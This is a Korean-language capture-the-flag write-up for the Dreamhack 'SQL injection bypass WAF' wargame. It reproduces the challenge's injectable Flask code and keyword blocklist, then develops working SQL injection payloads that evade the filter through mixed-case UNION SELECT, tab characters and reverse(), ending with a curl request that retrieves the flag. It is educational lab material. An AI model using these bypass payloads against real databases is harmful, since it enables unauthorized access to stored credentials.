포스트

드림핵 lv.1 - sql injection bypass WAF

드림핵 sql injection bypass WAF 웹해킹 워게임 풀이

드림핵 lv.1 - sql injection bypass WAF

https://dreamhack.io/wargame/challenges/415/

문제 설명

Exercise: SQL Injection Bypass WAF에서 실습하는 문제입니다.


문제 풀이

웹사이트 분석

1
2
3
4
5
SELECT * FROM user WHERE uid='{uid}';

---

{result}

웹사이트에선 특별한 것을 찾아볼 수 없다.
현재 쓰이고 있는 쿼리를 보여주고 있고 해당 쿼리의 결과가 아래 result 부분에 출력되는 것 같다.

그 아래에는 uid 값을 입력할 수 있는 인풋 박스와 제출 버튼이 있다.

WAF를 우회하는 문제이기 때문에 아마도 특이한 쿼리를 작성해서 해결해야 할 듯 하다.
테스트용으로 uid 값에 admin을 입력해보니 WAF에 의해 거절 당했다는 내용이 출력된다.

코드 분석

1
2
3
4
5
6
7
[Code Structure]
deploy/
	- app.py
	- init.sql
	- requirements.txt
	- run.sh
DockerFile

init.sql

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
CREATE DATABASE IF NOT EXISTS `users`;
GRANT ALL PRIVILEGES ON users.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';

USE `users`;
CREATE TABLE user(
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null
);

INSERT INTO user(uid, upw) values('abcde', '12345');
INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');
INSERT INTO user(uid, upw) values('dream', 'hack');
FLUSH PRIVILEGES;

예상대로 해당 데이터베이스에는 admin이라는 유저가 있고 그의 비밀번호가 플래그이다.

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/']
def check_WAF(data):
    for keyword in keywords:
        if keyword in data:
            return True

    return False


@app.route('/', methods=['POST', 'GET'])
def index():
    uid = request.args.get('uid')
    if uid:
        if check_WAF(uid):
            return 'your request has been blocked by WAF.'
        cur = mysql.connection.cursor()
        cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
        result = cur.fetchone()
        if result:
            return template.format(uid=uid, result=result[1])
        else:
            return template.format(uid=uid, result='')

    else:
        return template

유저로부터 값이 들어오면 check_WAF() 함수로 먼저 특정 키워드가 쿼리 내에 있는지 확인을 하는 과정이 있다.

최종 풀이

1
['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/']

우리는 이 키워드들을 우회하여 “admin”이라는 값을 쿼리에 넣어줘야 한다.

가능한 쿼리 분석

마지막 문자 3개가 모두 막혀있다. 스페이스바 입력도 못하고 그것을 주석으로 우회할 수도 없다.
남은 건 백틱(“`”) 뿐이다. 그리고 uid="admin"도 안되기 때문에 다른 방법을 생각해야 하는데 나는 reverse() 함수를 이용했다.

1
'||`uid`=reverse("nimda");`--

해당 문자열을 입력하면 결과가 나오는데 “admin”으로 나온다.

1
return template.format(uid=uid, result=result[1])

쿼리가 SELECT * 를 하고있어서 난 당연히 비밀번호까지 나올 줄 알았는데 코드를 잘 살펴보니 쿼리의 결과값인 result의 1번째 값만 가져오는 것이 보인다. 0번째는 idx이고 2번째는 upw이다.

결국 upw 값을 uid 위치에 나오도록 쿼리를 작성해야 하는데 이럴 때 쓰이는 union 키워드도 방화벽에 의해 막혀있다.

대소문자 판별 문제

생각해보니까 check_WAF() 함수를 봤을 때 대소문자를 체크하지 않는 것 같다는 느낌이 들었다.
테스트로 AdMiN을 입력해보니 제대로 작동한다. 굳이 reverseselect, union과 같은 키워드들을 피할 필요가 없는 것이다.

1
'`UnION`SeLecT`upw,`uid`FroM`user`WHERE`uid='AdMiN';`--

그래서 생각해낸 쿼리는 위와 같다.
하지만 해당 쿼리를 이용하면 500 internal server error가 발생한다.

이게 왜 안되는지 이해가 안가서 여러가지를 시도해봤지만 여전히 알아낼 수 없었다.
그래서 해당 문제의 댓글들을 살펴봤다.

해당 웹사이트에서는 요청을 url을 통해서 보내게 되는데 이때 특수 문자가 요청으로 넘어갈 때 %{num} 형식으로 넘어가게 된다.
%{num}의 ‘%’ 자체가 특수 문자로 또 인식이 돼 한 번 더 인코딩을 거치게 돼서 브라우저로는 해결하기 힘들다는 것을 알아냈다.

해결 방법

브라우저가 아닌 다른 방식으로 요청을 보내면 해결된다. 본인은 주로 파이썬으로 요청을 보내는데 이번엔 귀찮아서 그냥 curl로 해결하기로 했다.

그리고 추가적으로 “`” 백틱 사용은 여러 플랫폼이나 서비스에서 특수 문자로 취급하는 경우가 많아 자꾸만 문법 에러가 발생해서 그냥 tab 문자로 대체했다.

쿼리의 또 다른 문제도 발견됐다.
생각해보니 원래의 쿼리에서 3개의 컬럼 값을 가져오는 것을 간과했다. idx, uid, upw 값 총 3개를 가져온다. 그래서 UNION SELECT 부분에서도 똑같이 3개의 값을 가져와야한다.

백틱을 탭으로 대체한 것과 수정된 UNION이 적용된 쿼리를 인코딩한 최종 URL은 다음과 같다.

1
2
3
4
5
6
// uid 값
// 편의를 위해 탭 부분은 스페이스로 대체함
' UnION SeLecT null,upw,null FroM user WHERE uid='AdMiN' --

// 최종 요청 URL
http://host1.dreamhack.games:12944/?uid='%09UnION%09SeLecT%09null,upw,null%09FroM%09user%09WHERE%09uid%3D%27AdMiN%27%3B%09--

curl execution

1
2
3
4
5
6
7
8
9
$ curl "http://host1.dreamhack.games:12944/?uid='%09UnION%09SeLecT%09null,upw,null%09FroM%09user%09WHERE%09uid%3D%27AdMiN%27%3B%09--%0A"

<pre style="font-size:200%">SELECT * FROM user WHERE uid=''	UnION	SeLecT	null,upw,null	FroM	user	WHERE	uid='AdMiN';	--
';</pre><hr/>
<pre>DH{REDACTED}</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>

이렇게 해서 p 태그 안에 있는 최종 플래그를 얻어낼 수 있다.

배운 것

url로 유저 인풋이 들어갈 때 꼭 특수 문자 인코딩에 대해서 염두해두는 것을 잊지 말자.
그리고 ‘ ‘ 공백 문자 우회에는 되도록이면 백틱은 지양하자. 이거 때문에 삽질 시간이 늘어났다.

이 기사는 저작권자의 CC BY 4.0 라이센스를 따릅니다.